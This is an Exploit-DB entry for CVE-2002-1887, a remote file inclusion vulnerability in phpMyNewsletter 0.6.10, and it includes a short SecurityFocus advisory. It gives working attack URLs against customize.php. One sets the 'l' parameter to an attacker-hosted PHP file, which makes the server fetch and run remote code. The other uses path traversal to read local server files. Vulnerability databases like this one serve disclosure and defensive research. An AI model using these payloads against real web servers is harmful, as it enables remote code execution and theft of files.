phpMyNewsletter 0.6.10 - Remote File Inclusion

Author: frog
type: webapps
platform: php
port: 
date_added: 2002-10-03 
date_updated: 2012-10-11 
verified: 1 
codes: CVE-2002-1887;OSVDB-39189 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphpMyNewsletter_v0.6.10.zip

source: https://www.securityfocus.com/bid/5886/info

A vulnerability has been discovered in phpMyNewsLetter.

Reportedly, it is possible to pass an attacker-specified file include location to a CGI paramter of the 'customize.php' script.

This may allow an attacker to execute arbitrary commands with the privileges of the webserver.

Additionally, an attacker may exploit this problem to view local webserver readable files.

http://[target]/include/customize.php?l=http://[attacker]/code.txt&text=Hello%20World
With in http://[attacker]/code.txt :
<? echo $text; ?>

or
http://[target]/include/customize.php?l=../path/file/to/view